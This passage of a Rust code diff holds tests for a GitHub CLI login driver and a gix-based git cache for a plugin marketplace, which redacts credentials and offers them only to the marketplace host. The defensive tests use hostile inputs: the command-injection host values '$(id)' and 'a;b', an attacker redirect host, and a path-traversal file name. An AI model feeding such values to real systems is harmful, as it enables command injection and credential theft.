+                out("__TRIPLEC_TOKEN_BEGIN__test-token-"),
+                out("not-real__TRIPLEC_TOKEN_END__\r\n"),
+            ]);
+            let (r, events) = drive(frames, keys.clone(), &mut cancel, far()).await;
+            let transcript = r.unwrap();
+            assert_eq!(
+                extract_token(&transcript),
+                Some("test-token-not-real".into())
+            );
+            assert_eq!(*keys.writes.lock().unwrap(), vec![b"\r".to_vec()]);
+            assert!(events.contains(&(
+                CODE_EVENT,
+                serde_json::json!({
+                    "account_id": "acct-1",
+                    "code": "4F2A-9C1B",
+                    "url": "https://github.com/login/device"
+                })
+            )));
+            for (_, payload) in &events {
+                assert!(!payload.to_string().contains("test-token-not-real"));
+            }
+        }
+
+        /// The raw bytes gh 2.101.0 prints under a tty (integration report
+        /// check 6), with a fake code: the code event goes out and Enter is
+        /// pressed, or gh never starts polling.
+        #[tokio::test(start_paused = true)]
+        async fn gh_2_101_gets_its_code_event_and_its_enter() {
+            let keys = Keys::default();
+            let (_tx, mut cancel) = oneshot::channel();
+            let frames = stream::iter(vec![
+                out("\u{1b}]11;?\u{1b}\\\u{1b}[6n"),
+                out("\r\n"),
+                out("\u{1b}]52;c;NEYyQS05QzFC\u{7}\u{1b}[0;33m!\u{1b}[0m One-time code (\u{1b}[0;1;39m4F2A-9C1B\u{1b}[0m) copied to clipboard\r\n\u{1b}[0;1;39mPress Enter\u{1b}[0m to open https://github.com/login/device in your browser... "),
+            ]);
+            let (r, events) = drive(frames, keys.clone(), &mut cancel, far()).await;
+            assert!(r.is_ok());
+            assert_eq!(*keys.writes.lock().unwrap(), vec![b"\r".to_vec()]);
+            assert!(events.contains(&(
+                CODE_EVENT,
+                serde_json::json!({
+                    "account_id": "acct-1",
+                    "code": "4F2A-9C1B",
+                    "url": "https://github.com/login/device"
+                })
+            )));
+        }
+
+        #[tokio::test]
+        async fn a_lost_stream_is_a_failure() {
+            let (_tx, mut cancel) = oneshot::channel();
+            let frames = stream::iter(vec![out(PROMPT), lost()]);
+            let (r, _) = drive(frames, Keys::default(), &mut cancel, far()).await;
+            assert!(r.unwrap_err().contains("Lost the connection"));
+        }
+
+        #[tokio::test(start_paused = true)]
+        async fn a_failed_enter_is_a_failure() {
+            let keys = Keys {
+                broken: true,
+                ..Default::default()
+            };
+            let (_tx, mut cancel) = oneshot::channel();
+            let frames = stream::iter(vec![out(PROMPT)]);
+            let (r, _) = drive(frames, keys, &mut cancel, far()).await;
+            assert!(r.unwrap_err().contains("Could not answer"));
+        }
+
+        #[tokio::test]
+        async fn a_cancel_is_a_failure() {
+            let (tx, mut cancel) = oneshot::channel();
+            tx.send(()).unwrap();
+            let (r, _) = drive(stream::pending(), Keys::default(), &mut cancel, far()).await;
+            assert!(r.unwrap_err().contains("cancelled"));
+        }
+
+        #[tokio::test(start_paused = true)]
+        async fn a_timeout_is_a_failure() {
+            let (_tx, mut cancel) = oneshot::channel();
+            let deadline = tokio::time::Instant::now() + Duration::from_secs(1);
+            let (r, _) = drive(stream::pending(), Keys::default(), &mut cancel, deadline).await;
+            assert!(r.unwrap_err().contains("Timed out"));
+        }
+    }
+
+    /// The script end to end against a stand-in `gh`, as a login would run it
+    /// inside the container (minus Docker).
+    #[cfg(unix)]
+    mod script {
+        use super::super::*;
+        use std::os::unix::fs::PermissionsExt;
+        use std::path::{Path, PathBuf};
+        use std::process::{Command, Stdio};
+
+        /// A fake `gh` that records its environment into `log_dir` and prints
+        /// the fixture token for `auth token`. `login_body` runs for `auth login`.
+        fn fake_gh(dir: &Path, log_dir: &Path, login_body: &str) -> PathBuf {
+            let bin = dir.join("bin");
+            std::fs::create_dir_all(&bin).unwrap();
+            let gh = bin.join("gh");
+            std::fs::write(
+                &gh,
+                format!(
+                    "#!/bin/sh\n\
+                     log='{log}'\n\
+                     case \"$1 $2\" in\n\
+                     'auth login')\n\
+                       printf '%s\\n' \"$GH_CONFIG_DIR\" > \"$log/config_dir\"\n\
+                       printf '%s\\n' \"$GIT_CONFIG_GLOBAL\" > \"$log/git_config\"\n\
+                       printf '%s\\n' \"$BROWSER\" > \"$log/browser\"\n\
+                       printf '%s\\n' \"$*\" > \"$log/args\"\n\
+                       echo 'token-in-config' > \"$GH_CONFIG_DIR/hosts.yml\"\n\
+                       {login}\n\
+                       ;;\n\
+                     'auth token') echo test-token-not-real ;;\n\
+                     *) exit 9 ;;\n\
+                     esac\n",
+                    log = log_dir.display(),
+                    login = login_body,
+                ),
+            )
+            .unwrap();
+            std::fs::set_permissions(&gh, std::fs::Permissions::from_mode(0o755)).unwrap();
+            bin
+        }
+
+        fn script_command(bin: &Path, tmp: &Path, host: &str) -> Command {
+            let mut cmd = Command::new("sh");
+            cmd.arg("-c")
+                .arg(GH_LOGIN_SCRIPT)
+                .arg("triple-c-gh-login")
+                .arg(host)
+                .env(
+                    "PATH",
+                    format!("{}:{}", bin.display(), std::env::var("PATH").unwrap()),
+                )
+                .env("TMPDIR", tmp);
+            cmd
+        }
+
+        fn read(p: PathBuf) -> String {
+            std::fs::read_to_string(p).unwrap().trim().to_string()
+        }
+
+        #[test]
+        fn the_token_comes_back_and_the_temp_config_is_gone() {
+            let root = tempfile::tempdir().unwrap();
+            let log = root.path().join("log");
+            let tmp = root.path().join("tmp");
+            std::fs::create_dir_all(&log).unwrap();
+            std::fs::create_dir_all(&tmp).unwrap();
+            let bin = fake_gh(root.path(), &log, "echo '✓ Logged in'");
+
+            let out = script_command(&bin, &tmp, "github.com").output().unwrap();
+            assert!(
+                out.status.success(),
+                "{}",
+                String::from_utf8_lossy(&out.stderr)
+            );
+            let stdout = String::from_utf8_lossy(&out.stdout);
+            assert_eq!(
+                extract_token(&stdout),
+                Some("test-token-not-real".to_string())
+            );
+
+            let config_dir = read(log.join("config_dir"));
+            assert!(
+                config_dir.starts_with(tmp.to_str().unwrap()),
+                "{config_dir}"
+            );
+            assert!(
+                !Path::new(&config_dir).exists(),
+                "temp GH_CONFIG_DIR left behind"
+            );
+            assert_eq!(
+                read(log.join("git_config")),
+                format!("{config_dir}/gitconfig")
+            );
+            assert_eq!(read(log.join("browser")), "true");
+            assert_eq!(
+                read(log.join("args")),
+                "auth login --hostname github.com --web --git-protocol ssh --skip-ssh-key --scopes repo"
+            );
+            assert_eq!(std::fs::read_dir(&tmp).unwrap().count(), 0);
+        }
+
+        #[test]
+        fn the_script_refuses_a_bad_host_on_its_own() {
+            let root = tempfile::tempdir().unwrap();
+            let log = root.path().join("log");
+            std::fs::create_dir_all(&log).unwrap();
+            let bin = fake_gh(root.path(), &log, "true");
+            for bad in ["", "-x", "a;b", "$(id)", "a:1"] {
+                let out = script_command(&bin, root.path(), bad).output().unwrap();
+                assert_eq!(out.status.code(), Some(2), "{bad:?}");
+                assert!(!log.join("args").exists(), "gh ran for {bad:?}");
+            }
+        }
+
+        /// Pre-flight N9: a cancel `pkill`s the login; the temp config must
+        /// still be removed when the script dies by signal.
+        #[test]
+        fn a_killed_login_still_removes_the_temp_config() {
+            use std::os::unix::process::CommandExt;
+
+            let root = tempfile::tempdir().unwrap();
+            let log = root.path().join("log");
+            let tmp = root.path().join("tmp");
+            std::fs::create_dir_all(&log).unwrap();
+            std::fs::create_dir_all(&tmp).unwrap();
+            let bin = fake_gh(root.path(), &log, "touch \"$log/started\"; sleep 30");
+
+            let mut child = script_command(&bin, &tmp, "github.com")
+                .stdout(Stdio::null())
+                .stderr(Stdio::null())
+                .process_group(0)
+                .spawn()
+                .unwrap();
+            let started = log.join("started");
+            for _ in 0..200 {
+                if started.exists() {
+                    break;
+                }
+                std::thread::sleep(std::time::Duration::from_millis(25));
+            }
+            assert!(started.exists(), "fake gh never started");
+            let config_dir = read(log.join("config_dir"));
+            assert!(Path::new(&config_dir).exists());
+
+            // Like `pkill -f`, which matches both the script and gh.
+            let pgid = child.id().to_string();
+            let killed = Command::new("kill")
+                .args(["-s", "TERM", "--", &format!("-{pgid}")])
+                .status()
+                .unwrap();
+            assert!(killed.success(), "kill failed");
+            let sent = std::time::Instant::now();
+            child.wait().unwrap();
+            assert!(
+                sent.elapsed() < std::time::Duration::from_secs(10),
+                "the script outlived the signal"
+            );
+            assert!(
+                !Path::new(&config_dir).exists(),
+                "temp GH_CONFIG_DIR left behind"
+            );
+        }
+    }
+}

app/src-tauri/src/marketplace/git.rs

@@ -0,0 +1,717 @@
+//! The marketplace cache: one bare `gix` repository per marketplace.
+//!
+//! Everything here is blocking — call it from `tokio::task::spawn_blocking`.
+//! Credentials are handed to gix through its credential callback for the
+//! duration of one fetch and are never written to disk or into the repo
+//! config.
+
+use std::path::{Path, PathBuf};
+use std::sync::atomic::AtomicBool;
+
+/// The ref the fetched branch tip is stored under.
+pub const HEAD_REF: &str = "refs/triple-c/head";
+/// Prefix of the refs that keep pinned commits alive.
+pub const PIN_PREFIX: &str = "refs/triple-c/pins/";
+
+#[derive(Clone)]
+pub struct Credential {
+    pub username: String,
+    pub password: String,
+}
+
+impl std::fmt::Debug for Credential {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        f.debug_struct("Credential")
+            .field("username", &self.username)
+            .field("password", &"<redacted>")
+            .finish()
+    }
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub enum FetchError {
+    /// 401 / 403, or gix's "credentials … were not accepted" / "no
+    /// credentials were returned" (anonymous fetch of a private repo).
+    Auth {
+        status: u16,
+    },
+    /// 404 / "repository not found".
+    NotFound,
+    Network(String),
+    Other(String),
+}
+
+impl std::fmt::Display for FetchError {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        match self {
+            FetchError::Auth { status } => write!(f, "access denied (HTTP {})", status),
+            FetchError::NotFound => write!(f, "repository not found"),
+            FetchError::Network(m) => write!(f, "network error: {}", m),
+            FetchError::Other(m) => write!(f, "{}", m),
+        }
+    }
+}
+
+/// Classify a gix error by its Debug-formatted chain. gix wraps transport
+/// errors several layers deep and some layers are not `std::error::Error`,
+/// so the text is the one stable thing to match on.
+pub fn classify_fetch_error(chain: &str) -> FetchError {
+    let lower = chain.to_ascii_lowercase();
+    if lower.contains("http status 401")
+        || lower.contains("not accepted by the remote")
+        // GitHub and GitLab answer an anonymous fetch of a private (or
+        // missing) repo with a credential challenge; with no credential
+        // callback result gix reports this (pre-flight F2).
+        || lower.contains("no credentials were returned")
+    {
+        return FetchError::Auth { status: 401 };
+    }
+    if lower.contains("http status 403") {
+        return FetchError::Auth { status: 403 };
+    }
+    if lower.contains("http status 404") || lower.contains("repository not found") {
+        return FetchError::NotFound;
+    }
+    const NETWORK: &[&str] = &[
+        "dns error",
+        "resolving dns",
+        "failed to lookup address",
+        "connection refused",
+        "connection reset",
+        "timed out",
+        "timeout",
+        "network is unreachable",
+        "no route to host",
+        "error sending request",
+        "tcp connect error",
+    ];
+    if NETWORK.iter().any(|needle| lower.contains(needle)) {
+        // The outermost line is a generic "Transport handshake failed"; the
+        // innermost `└─` line names the actual cause.
+        let cause = chain
+            .lines()
+            .filter_map(|l| l.trim_start().strip_prefix("└─"))
+            .next_back()
+            .unwrap_or(chain);
+        return FetchError::Network(first_line(cause));
+    }
+    FetchError::Other(first_line(chain))
+}
+
+/// First line of `chain`, without gix's `", at <source path>:<line>"` suffix,
+/// capped at 300 characters.
+fn first_line(chain: &str) -> String {
+    let line = chain.lines().next().unwrap_or("");
+    let line = line.split(", at /").next().unwrap_or(line);
+    line.trim().chars().take(300).collect()
+}
+
+fn classify<E: std::fmt::Debug>(e: E) -> FetchError {
+    classify_fetch_error(&format!("{:?}", e))
+}
+
+pub fn cache_path(data_root: &Path, marketplace_id: &str) -> PathBuf {
+    data_root
+        .join("marketplaces")
+        .join(format!("{}.git", marketplace_id))
+}
+
+/// Branch names that are safe inside a refspec. Stricter than git's own
+/// rules on purpose: nothing that could change the refspec's meaning.
+/// `pub(crate)` so the add-marketplace form validates with this same rule
+/// (pre-flight F13).
+pub(crate) fn valid_branch(branch: &str) -> bool {
+    !branch.is_empty()
+        && branch.len() <= 200
+        && !branch.starts_with('-')
+        && !branch.starts_with('/')
+        && !branch.ends_with('/')
+        && !branch.ends_with(".lock")
+        && !branch.contains("..")
+        && !branch.contains("//")
+        && branch
+            .bytes()
+            .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'-' | b'_' | b'.' | b'/'))
+}
+
+fn open_or_init(repo_path: &Path) -> Result<gix::Repository, FetchError> {
+    if repo_path.exists() {
+        gix::open(repo_path)
+            .map_err(|e| FetchError::Other(format!("Could not open the marketplace cache: {}", e)))
+    } else {
+        if let Some(parent) = repo_path.parent() {
+            std::fs::create_dir_all(parent).map_err(|e| {
+                FetchError::Other(format!("Could not create {}: {}", parent.display(), e))
+            })?;
+        }
+        gix::init_bare(repo_path).map_err(|e| {
+            FetchError::Other(format!("Could not create the marketplace cache: {}", e))
+        })
+    }
+}
+
+/// `(scheme, host[:port])` of a credential request, lowercased, with a
+/// default port dropped (gix's own normalisation). None if it names no host.
+fn credential_origin(ctx: &gix::credentials::protocol::Context) -> Option<(String, String)> {
+    let mut ctx = ctx.clone();
+    ctx.destructure_url_in_place(false).ok()?;
+    let protocol = ctx.protocol?.to_ascii_lowercase();
+    let host = ctx.host?.to_ascii_lowercase();
+    (!host.is_empty()).then_some((protocol, host))
+}
+
+/// True when a credential request is for the marketplace's own scheme, host
+/// and port. gix follows redirects of the initial handshake, and the token
+/// must never be offered to a host it was redirected to (final review M1).
+pub(crate) fn credential_matches(ctx: &gix::credentials::protocol::Context, url: &str) -> bool {
+    let wanted = gix::credentials::protocol::Context::from_url(url, Default::default());
+    match (credential_origin(ctx), credential_origin(&wanted)) {
+        (Some(asked), Some(wanted)) => asked == wanted,
+        _ => false,
+    }
+}
+
+/// Init the bare repo if missing, fetch `branch` (or the remote's default
+/// branch) into [`HEAD_REF`], and return the head commit hex.
+pub fn fetch(
+    repo_path: &Path,
+    url: &str,
+    branch: Option<&str>,
+    cred: Option<Credential>,
+) -> Result<String, FetchError> {
+    let refspec = match branch {
+        Some(b) if !valid_branch(b) => {
+            return Err(FetchError::Other(format!(
+                "{:?} is not a valid branch name",
+                b
+            )));
+        }
+        Some(b) => format!("+refs/heads/{}:{}", b, HEAD_REF),
+        None => format!("+HEAD:{}", HEAD_REF),
+    };
+    let repo = open_or_init(repo_path)?;
+    let remote = repo
+        .remote_at(url)
+        .map_err(|e| FetchError::Other(format!("Invalid repository URL: {}", e)))?
+        .with_refspecs([refspec.as_str()], gix::remote::Direction::Fetch)
+        .map_err(|e| FetchError::Other(format!("Invalid refspec: {}", e)))?;
+    let own_url = url.to_string();
+    let connection = remote
+        .connect(gix::remote::Direction::Fetch)
+        .map_err(classify)?
+        .with_credentials(move |action| match (action, &cred) {
+            (gix::credentials::helper::Action::Get(ctx), Some(c))
+                if credential_matches(&ctx, &own_url) =>
+            {
+                Ok(Some(gix::credentials::protocol::Outcome {
+                    identity: gix::sec::identity::Account {
+                        username: c.username.clone(),
+                        password: c.password.clone(),
+                        oauth_refresh_token: None,
+                    },
+                    next: gix::credentials::helper::NextAction::from(ctx),
+                }))
+            }
+            _ => Ok(None),
+        });
+    connection
+        .prepare_fetch(gix::progress::Discard, Default::default())
+        .map_err(classify)?
+        .receive(gix::progress::Discard, &AtomicBool::new(false))
+        .map_err(classify)?;
+    cached_head(repo_path)
+        .map_err(FetchError::Other)?
+        .ok_or_else(|| FetchError::Other("The remote did not return a branch to fetch".to_string()))
+}
+
+/// Current [`HEAD_REF`], if fetched before.
+pub fn cached_head(repo_path: &Path) -> Result<Option<String>, String> {
+    if !repo_path.exists() {
+        return Ok(None);
+    }
+    let repo =
+        gix::open(repo_path).map_err(|e| format!("Could not open the marketplace cache: {}", e))?;
+    let reference = repo
+        .try_find_reference(HEAD_REF)
+        .map_err(|e| format!("Could not read {}: {}", HEAD_REF, e))?;
+    match reference {
+        None => Ok(None),
+        Some(mut r) => {
+            let id = r
+                .peel_to_id()
+                .map_err(|e| format!("Could not resolve {}: {}", HEAD_REF, e))?;
+            Ok(Some(id.to_string()))
+        }
+    }
+}
+
+pub fn has_commit(repo_path: &Path, commit: &str) -> bool {
+    let Ok(repo) = gix::open(repo_path) else {
+        return false;
+    };
+    let Ok(oid) = gix::ObjectId::from_hex(commit.as_bytes()) else {
+        return false;
+    };
+    // Bound before returning: the `Result<Commit<'_>>` temporary borrows
+    // `repo` and must drop first (pre-flight F1, E0597 as a tail expression).
+    let found = repo.find_commit(oid).is_ok();
+    found
+}
+
+/// Make `refs/triple-c/pins/*` exactly the given set (commits missing from
+/// the cache are skipped), so pinned commits survive later fetches.
+pub fn set_pins(repo_path: &Path, commits: &[String]) -> Result<(), String> {
+    let repo =
+        gix::open(repo_path).map_err(|e| format!("Could not open the marketplace cache: {}", e))?;
+    let wanted: std::collections::BTreeSet<&str> = commits.iter().map(String::as_str).collect();
+
+    let mut existing = Vec::new();
+    let platform = repo
+        .references()
+        .map_err(|e| format!("Could not list refs: {}", e))?;
+    for reference in platform
+        .prefixed(PIN_PREFIX)
+        .map_err(|e| format!("Could not list pins: {}", e))?
+    {
+        let reference = reference.map_err(|e| format!("Could not read a pin: {:?}", e))?;
+        existing.push(reference.name().as_bstr().to_string());
+    }
+
+    for name in &existing {
+        let commit = name.trim_start_matches(PIN_PREFIX);
+        if !wanted.contains(commit) {
+            if let Some(r) = repo
+                .try_find_reference(name.as_str())
+                .map_err(|e| format!("Could not read {}: {}", name, e))?
+            {
+                r.delete()
+                    .map_err(|e| format!("Could not remove {}: {}", name, e))?;
+            }
+        }
+    }
+    for commit in wanted {
+        let name = format!("{}{}", PIN_PREFIX, commit);
+        if existing.contains(&name) {
+            continue;
+        }
+        let Ok(oid) = gix::ObjectId::from_hex(commit.as_bytes()) else {
+            continue;
+        };
+        if repo.find_commit(oid).is_err() {
+            continue;
+        }
+        repo.reference(
+            name.as_str(),
+            oid,
+            gix::refs::transaction::PreviousValue::Any,
+            "triple-c pin",
+        )
+        .map_err(|e| format!("Could not pin {}: {}", commit, e))?;
+    }
+    Ok(())
+}
+
+#[cfg(test)]
+pub(crate) mod test_support {
+    //! Fixture repos built with the git CLI. Tests that need one call
+    //! [`git_available`] first and return early without it.
+    use std::path::Path;
+    use std::process::Command;
+
+    pub fn git_available() -> bool {
+        Command::new("git")
+            .arg("--version")
+            .output()
+            .map(|o| o.status.success())
+            .unwrap_or(false)
+    }
+
+    pub fn git(dir: &Path, args: &[&str]) -> String {
+        let out = Command::new("git")
+            .args([
+                "-c",
+                "user.name=t",
+                "-c",
+                "user.email=t@example.invalid",
+                "-c",
+                "init.defaultBranch=main",
+            ])
+            .args(args)
+            .current_dir(dir)
+            .output()
+            .expect("git runs");
+        assert!(
+            out.status.success(),
+            "git {:?}: {}",
+            args,
+            String::from_utf8_lossy(&out.stderr)
+        );
+        String::from_utf8_lossy(&out.stdout).trim().to_string()
+    }
+
+    /// Write `files` (path, contents, executable) into a new repo and commit.
+    pub fn init_repo(dir: &Path, files: &[(&str, &str, bool)]) -> String {
+        git(dir, &["init", "-q"]);
+        commit_files(dir, files, "initial")
+    }
+
+    pub fn commit_files(dir: &Path, files: &[(&str, &str, bool)], message: &str) -> String {
+        for (path, contents, exec) in files {
+            let full = dir.join(path);
+            std::fs::create_dir_all(full.parent().unwrap()).unwrap();
+            std::fs::write(&full, contents).unwrap();
+            #[cfg(unix)]
+            if *exec {
+                use std::os::unix::fs::PermissionsExt;
+                std::fs::set_permissions(&full, std::fs::Permissions::from_mode(0o755)).unwrap();
+            }
+            #[cfg(not(unix))]
+            let _ = exec;
+        }
+        git(dir, &["add", "-A"]);
+        git(dir, &["commit", "-q", "-m", message]);
+        git(dir, &["rev-parse", "HEAD"])
+    }
+
+    pub fn file_url(dir: &Path) -> String {
+        format!("file://{}", dir.display())
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::test_support::*;
+    use super::*;
+    use crate::marketplace::tree::{GitTree, TreeView};
+
+    #[test]
+    fn fetch_error_mapping() {
+        let cases = [
+            ("Credentials provided for \"https://x\" were not accepted by the remote\n└─ Received HTTP status 401", FetchError::Auth { status: 401 }),
+            ("handshake\n└─ Received HTTP status 403", FetchError::Auth { status: 403 }),
+            ("└─ Received HTTP status 404", FetchError::NotFound),
+            ("remote: Repository not found.", FetchError::NotFound),
+            // What gix actually reports for an anonymous fetch of a private
+            // (or missing) GitHub/GitLab repo (pre-flight F2).
+            (
+                "No credentials were returned at all as if the credential helper isn't functioning unknowingly, at /home/u/.cargo/registry/src/index/gix-protocol-0.1/src/handshake/function.rs:70",
+                FetchError::Auth { status: 401 },
+            ),
+        ];
+        for (text, want) in cases {
+            assert_eq!(classify_fetch_error(text), want, "{}", text);
+        }
+        assert!(matches!(
+            classify_fetch_error("error sending request\n└─ dns error: failed to lookup address"),
+            FetchError::Network(_)
+        ));
+        assert!(matches!(
+            classify_fetch_error("operation timed out"),
+            FetchError::Network(_)
+        ));
+        assert!(matches!(
+            classify_fetch_error("something odd"),
+            FetchError::Other(_)
+        ));
+    }
+
+    #[test]
+    fn fetch_error_text_drops_source_locations_and_names_the_network_cause() {
+        // Pre-flight F2: gix appends ", at <cargo registry path>:<line>";
+        // the innermost `└─` line is the useful network cause.
+        let chain = "Transport handshake failed, at /home/u/.cargo/registry/src/x/handshake/function.rs:40\n\
+                     ├─ An IO error occurred when talking to the server, at /home/u/.cargo/y.rs:12\n\
+                     └─ error resolving DNS, at /home/u/.cargo/z.rs:9";
+        assert_eq!(
+            classify_fetch_error(chain),
+            FetchError::Network("error resolving DNS".to_string())
+        );
+        let refused = "Transport handshake failed, at /home/u/.cargo/a.rs:1\n└─ Connection refused (os error 111)";
+        assert_eq!(
+            classify_fetch_error(refused),
+            FetchError::Network("Connection refused (os error 111)".to_string())
+        );
+        assert_eq!(
+            classify_fetch_error("Something odd, at /home/u/.cargo/b.rs:3\n└─ deeper"),
+            FetchError::Other("Something odd".to_string())
+        );
+    }
+
+    #[test]
+    fn credential_debug_never_shows_the_password() {
+        let c = Credential {
+            username: "u".into(),
+            password: "test-token-not-real".into(),
+        };
+        let shown = format!("{:?}", c);
+        assert!(!shown.contains("test-token-not-real"));
+        assert!(shown.contains("<redacted>"));
+    }
+
+    /// Final review M1: the token goes only to the marketplace's own scheme,
+    /// host and port — never to a host the handshake was redirected to.
+    #[test]
+    fn credentials_are_offered_only_to_the_marketplace_host() {
+        use gix::credentials::protocol::Context;
+        let url = "https://git.example.com/org/repo.git";
+        let ctx = |u: &str| Context::from_url(u, Default::default());
+
+        assert!(credential_matches(&ctx(url), url));
+        assert!(credential_matches(
+            &ctx("https://git.example.com/other/path.git"),
+            url
+        ));
+        assert!(credential_matches(
+            &ctx("https://GIT.example.com/org/repo.git"),
+            url
+        ));
+        assert!(credential_matches(
+            &ctx("https://git.example.com:443/org/repo.git"),
+            url
+        ));
+        for other in [
+            "https://evil.example.net/org/repo.git",
+            "https://git.example.com.evil.net/org/repo.git",
+            "https://git.example.com:8443/org/repo.git",
+            "http://git.example.com/org/repo.git",
+        ] {
+            assert!(!credential_matches(&ctx(other), url), "{other}");
+        }
+        let with_port = "https://git.example.com:8443/org/repo.git";
+        assert!(credential_matches(&ctx(with_port), with_port));
+        assert!(!credential_matches(&ctx(url), with_port));
+        // A request that names no host gets nothing.
+        assert!(!credential_matches(&Context::default(), url));
+        let host_only = Context {
+            protocol: Some("https".into()),
+            host: Some("git.example.com".into()),
+            ..Default::default()
+        };
+        assert!(credential_matches(&host_only, url));
+    }
+
+    #[test]
+    fn refuses_unsafe_branch_names() {
+        let dir = tempfile::tempdir().unwrap();
+        for bad in ["-x", "a..b", "a b", "a:b", "x*", "a.lock", ""] {
+            let err = fetch(
+                &dir.path().join("c.git"),
+                "file:///nowhere",
+                Some(bad),
+                None,
+            )
+            .unwrap_err();
+            assert!(
+                matches!(err, FetchError::Other(ref m) if m.contains("branch")),
+                "{bad:?}: {err:?}"
+            );
+        }
+    }
+
+    #[test]
+    fn valid_branch_accepts_ordinary_names() {
+        // pub(crate) so the add-marketplace form validates with the same rule
+        // the fetch applies (pre-flight F13).
+        for good in ["main", "release/1.2", "feature_x", "v2.0-rc.1"] {
+            assert!(valid_branch(good), "{good:?}");
+        }
+        for bad in [
+            "/main", "main/", "a//b", "x.lock", "-x", "a..b", "a b", "a\\b",
+        ] {
+            assert!(!valid_branch(bad), "{bad:?}");
+        }
+    }
+
+    #[test]
+    fn fetches_default_branch_then_updates() {
+        if !git_available() {
+            return;
+        }
+        let src = tempfile::tempdir().unwrap();
+        let first = init_repo(
+            src.path(),
+            &[
+                ("agents/a.md", "one", false),
+                ("hooks/h/run.sh", "#!/bin/sh", true),
+            ],
+        );
+        let cache = tempfile::tempdir().unwrap();
+        let repo = cache_path(cache.path(), "m1");
+
+        assert_eq!(cached_head(&repo).unwrap(), None);
+        let head = fetch(&repo, &file_url(src.path()), None, None).unwrap();
+        assert_eq!(head, first);
+        assert_eq!(cached_head(&repo).unwrap(), Some(first.clone()));
+        assert!(has_commit(&repo, &first));
+
+        let tree = GitTree::open(&repo, &first).unwrap();
+        assert_eq!(
+            tree.read_file("agents/a.md", 1024).unwrap().unwrap(),
+            b"one"
+        );
+        let hook = tree.list_dir("hooks/h").unwrap().unwrap();
+        assert!(hook[0].executable);
+        assert!(tree.entry_id("agents/a.md").unwrap().is_some());
+        assert_eq!(tree.list_dir("agents/a.md").unwrap(), None);
+
+        let second = commit_files(src.path(), &[("agents/a.md", "two", false)], "second");
+        assert_eq!(
+            fetch(&repo, &file_url(src.path()), None, None).unwrap(),
+            second
+        );
+        // The old commit is still readable after the update.
+        assert_eq!(
+            GitTree::open(&repo, &first)
+                .unwrap()
+                .read_file("agents/a.md", 1024)
+                .unwrap()
+                .unwrap(),
+            b"one"
+        );
+    }
+
+    #[test]
+    fn fetches_a_named_branch() {
+        if !git_available() {
+            return;
+        }
+        let src = tempfile::tempdir().unwrap();
+        init_repo(src.path(), &[("a.md", "main", false)]);
+        git(src.path(), &["checkout", "-q", "-b", "next"]);
+        let next = commit_files(src.path(), &[("a.md", "next", false)], "next");
+        git(src.path(), &["checkout", "-q", "main"]);
+
+        let cache = tempfile::tempdir().unwrap();
+        let repo = cache_path(cache.path(), "m1");
+        assert_eq!(
+            fetch(&repo, &file_url(src.path()), Some("next"), None).unwrap(),
+            next
+        );
+    }
+
+    #[test]
+    fn missing_repo_is_an_error_not_a_panic() {
+        let cache = tempfile::tempdir().unwrap();
+        let err = fetch(
+            &cache_path(cache.path(), "m"),
+            "file:///definitely/not/here",
+            None,
+            None,
+        )
+        .unwrap_err();
+        assert!(!matches!(err, FetchError::Auth { .. }), "{err:?}");
+    }
+
+    #[test]
+    fn refused_connection_is_a_network_error_without_source_paths() {
+        // Port 1 on loopback: refused immediately, no real network involved.
+        let cache = tempfile::tempdir().unwrap();
+        let err = fetch(
+            &cache_path(cache.path(), "m"),
+            "https://127.0.0.1:1/x.git",
+            None,
+            None,
+        )
+        .unwrap_err();
+        match err {
+            FetchError::Network(m) => assert!(!m.contains(", at /"), "{m}"),
+            other => panic!("expected a network error, got {other:?}"),
+        }
+    }
+
+    #[test]
+    fn has_commit_is_false_for_unknown_or_malformed_ids() {
+        if !git_available() {
+            return;
+        }
+        let src = tempfile::tempdir().unwrap();
+        init_repo(src.path(), &[("x", "1", false)]);
+        let cache = tempfile::tempdir().unwrap();
+        let repo = cache_path(cache.path(), "m");
+        fetch(&repo, &file_url(src.path()), None, None).unwrap();
+        assert!(!has_commit(&repo, &"f".repeat(40)));
+        assert!(!has_commit(&repo, "not-hex"));
+        assert!(!has_commit(
+            &cache.path().join("absent.git"),
+            &"f".repeat(40)
+        ));
+    }
+
+    #[test]
+    fn pins_are_exactly_the_requested_set() {
+        if !git_available() {
+            return;
+        }
+        let src = tempfile::tempdir().unwrap();
+        let a = init_repo(src.path(), &[("x", "1", false)]);
+        let b = commit_files(src.path(), &[("x", "2", false)], "b");
+        let cache = tempfile::tempdir().unwrap();
+        let repo = cache_path(cache.path(), "m");
+        fetch(&repo, &file_url(src.path()), None, None).unwrap();
+
+        set_pins(&repo, &[a.clone(), b.clone(), "f".repeat(40)]).unwrap();
+        let pins = |repo: &Path| -> Vec<String> {
+            let r = gix::open(repo).unwrap();
+            let mut names: Vec<String> = r
+                .references()
+                .unwrap()
+                .prefixed(PIN_PREFIX)
+                .unwrap()
+                .map(|x| x.unwrap().name().as_bstr().to_string())
+                .collect();
+            names.sort();
+            names
+        };
+        let mut want = vec![
+            format!("{}{}", PIN_PREFIX, a),
+            format!("{}{}", PIN_PREFIX, b),
+        ];
+        want.sort();
+        assert_eq!(pins(&repo), want);
+
+        set_pins(&repo, std::slice::from_ref(&b)).unwrap();
+        assert_eq!(pins(&repo), vec![format!("{}{}", PIN_PREFIX, b)]);
+    }
+
+    #[test]
+    fn git_tree_entry_with_a_backslash_marks_the_item_invalid() {
+        // Task 3 review: a real git tree (not MemTree) whose entry name
+        // contains `\` must make the catalog reject the item. git itself
+        // refuses `/` in names, so `\` is the separator that can get through.
+        if !git_available() {
+            return;
+        }
+        let src = tempfile::tempdir().unwrap();
+        init_repo(src.path(), &[("skills/ok/SKILL.md", "fine", false)]);
+        let evil = commit_files(
+            src.path(),
+            &[
+                ("skills/s/SKILL.md", "x", false),
+                ("skills/s/..\\evil.sh", "boom", false),
+            ],
+            "evil",
+        );
+        let cache = tempfile::tempdir().unwrap();
+        let repo = cache_path(cache.path(), "m");
+        assert_eq!(
+            fetch(&repo, &file_url(src.path()), None, None).unwrap(),
+            evil
+        );
+
+        let tree = GitTree::open(&repo, &evil).unwrap();
+        let names: Vec<String> = tree
+            .list_dir("skills/s")
+            .unwrap()
+            .unwrap()
+            .into_iter()
+            .map(|e| e.name)
